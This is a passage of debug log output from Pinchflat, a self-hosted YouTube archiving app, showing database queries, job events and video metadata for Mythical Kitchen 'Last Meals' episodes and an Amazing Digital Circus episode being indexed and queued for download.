"OH...\nNEW Queenie Plushie + DISFIGURED Digital Circus figures are in store now!; https://digitalcircus.store also there's a SPECIAL SALE where you can get 20% off ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl", "https://www.youtube.com/watch?v=DMNlzf8PiEM", "DMNlzf8PiEM", 1910, false, "/downloads/TADC/2026-03-20 THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl/THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl [DMNlzf8PiEM].mp4", false, 2, ~U[2026-03-20 22:00:06Z]] 20:48:48.608 [debug] QUERY OK source="sources" db=0.0ms idle=1.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], 2] 20:48:48.609 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:48:48.611 [debug] QUERY OK source="tasks" db=0.0ms idle=0.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [84, 86, ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z]] 20:48:48.611 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:48:48.612 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:48:48.612 [info] No notification servers provided for source 2 20:48:48.612 [debug] QUERY OK source="tasks" db=0.0ms idle=0.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [85, 2, ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z]] 20:48:48.612 [info] {"args":{"id":2},"id":64,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":18494678,"event":"job:stop","queue_time":434282,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:48:48.714 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Matty Matheson is eating his last meal.\n\nProducer's Note: You may notice a slightly different look to today's episode. We experienced some unexpected camera difficulties that unfortunately affected our wide shot. But we didn't let that stop us from getting you this great conversation with Matty! We hope you'll still enjoy it.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Matty's Last Meal\n0:30 \"Stuck In A Pain Cage\"\n1:19 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n4:49 Matty's Food Style Evolution\n7:28 Romanticizing The Rockstar Chef\n8:53 Matty Hates Wallflowers\n11:39 2nd Course\n13:53 Heart Attack Wake-Up Call\n15:50 Intervention & A Miracle\n17:24 Trish\n18:37 3rd Course\n21:24 Mormon Bad Boy\n24:13 Self Hatred & Accepting Happiness\n25:49 4th Course\n27:06 Restaurant Pet Peeves\n28:36 THE BEAR\n30:42 JUST A DASH\n31:08 5th Course\n33:13 Matty's Comeback Plan\n37:32 What Do You Think Happens When You Die?\n38:34 Lightning Round\n40:11 Matty's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2450, "filename" => "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", "id" => "8hrgGfOf49g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8hrgGfOf49g", "playlist_index" => 72, "timestamp" => 1729159211, "title" => "Matty Matheson Eats His Last Meal", "upload_date" => "20241017"} 20:48:48.714 [debug] QUERY OK source="sources" db=0.1ms idle=102.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:48.715 [debug] QUERY OK source="sources" db=0.0ms idle=102.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:48.715 [debug] QUERY OK source="media_items" db=0.2ms idle=102.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-17 10:00:11Z], 1] 20:48:48.716 [debug] QUERY OK source="media_items" db=0.5ms idle=103.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matty Matheson is eating his last meal.\n\nProducer's Note: You may notice a slightly different look to today's episode. We experienced some unexpected camera difficulties that unfortunately affected our wide shot. But we didn't let that stop us from getting you this great conversation with Matty! We hope you'll still enjoy it.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Matty's Last Meal\n0:30 \"Stuck In A Pain Cage\"\n1:19 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n4:49 Matty's Food Style Evolution\n7:28 Romanticizing The Rockstar Chef\n8:53 Matty Hates Wallflowers\n11:39 2nd Course\n13:53 Heart Attack Wake-Up Call\n15:50 Intervention & A Miracle\n17:24 Trish\n18:37 3rd Course\n21:24 Mormon Bad Boy\n24:13 Self Hatred & Accepting Happiness\n25:49 4th Course\n27:06 Restaurant Pet Peeves\n28:36 THE BEAR\n30:42 JUST A DASH\n31:08 5th Course\n33:13 Matty's Comeback Plan\n37:32 What Do You Think Happens When You Die?\n38:34 Lightning Round\n40:11 Matty's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Matty Matheson Eats His Last Meal", "31fb6970-fdb4-4fe1-8818-0a96099714f8", "https://www.youtube.com/watch?v=8hrgGfOf49g", false, "8hrgGfOf49g", 2450, false, 72, "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", false, false, 1, [], 0, ~U[2024-10-17 10:00:11Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "Today, Matty Matheson is eating his last meal.\n\nProducer's Note: You may notice a slightly different look to today's episode. We experienced some unexpected camera difficulties that unfortunately affected our wide shot. But we didn't let that stop us from getting you this great conversation with Matty! We hope you'll still enjoy it.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Matty's Last Meal\n0:30 \"Stuck In A Pain Cage\"\n1:19 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n4:49 Matty's Food Style Evolution\n7:28 Romanticizing The Rockstar Chef\n8:53 Matty Hates Wallflowers\n11:39 2nd Course\n13:53 Heart Attack Wake-Up Call\n15:50 Intervention & A Miracle\n17:24 Trish\n18:37 3rd Course\n21:24 Mormon Bad Boy\n24:13 Self Hatred & Accepting Happiness\n25:49 4th Course\n27:06 Restaurant Pet Peeves\n28:36 THE BEAR\n30:42 JUST A DASH\n31:08 5th Course\n33:13 Matty's Comeback Plan\n37:32 What Do You Think Happens When You Die?\n38:34 Lightning Round\n40:11 Matty's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Matty Matheson Eats His Last Meal", "https://www.youtube.com/watch?v=8hrgGfOf49g", "8hrgGfOf49g", 2450, false, "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", false, 1, ~U[2024-10-17 10:00:11Z]] 20:48:48.716 [debug] QUERY OK source="sources" db=0.0ms idle=97.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:48.716 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:48.716 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [87] 20:48:48.716 [info] Kicking off download for media item #87 (8hrgGfOf49g) 20:48:48.717 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [86, 87, ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z]] 20:48:48.717 [debug] Current batch of media processed. Will check again in 1000ms 20:48:49.719 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Kallmekris's last meal on Earth.\n\nCheck out KallmeKris on YouTube and TikTok!\nhttps://www.youtube.com/@kallmekris\nhttps://www.tiktok.com/@kallmekris\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1561, "filename" => "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", "id" => "LqQ-Z-kIRLM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LqQ-Z-kIRLM", "playlist_index" => 73, "timestamp" => 1670324417, "title" => "Kallmekris Eats Her Last Meal", "upload_date" => "20221206"} 20:48:49.720 [debug] QUERY OK source="sources" db=0.4ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:49.721 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:49.722 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-06 11:00:17Z], 1] 20:48:49.726 [debug] QUERY OK source="media_items" db=2.8ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Kallmekris's last meal on Earth.\n\nCheck out KallmeKris on YouTube and TikTok!\nhttps://www.youtube.com/@kallmekris\nhttps://www.tiktok.com/@kallmekris\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Kallmekris Eats Her Last Meal", "7503ad20-0f72-4c9d-89e8-ac7efdc8bd65", "https://www.youtube.com/watch?v=LqQ-Z-kIRLM", false, "LqQ-Z-kIRLM", 1561, false, 73, "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", false, false, 1, [], 0, ~U[2022-12-06 11:00:17Z], 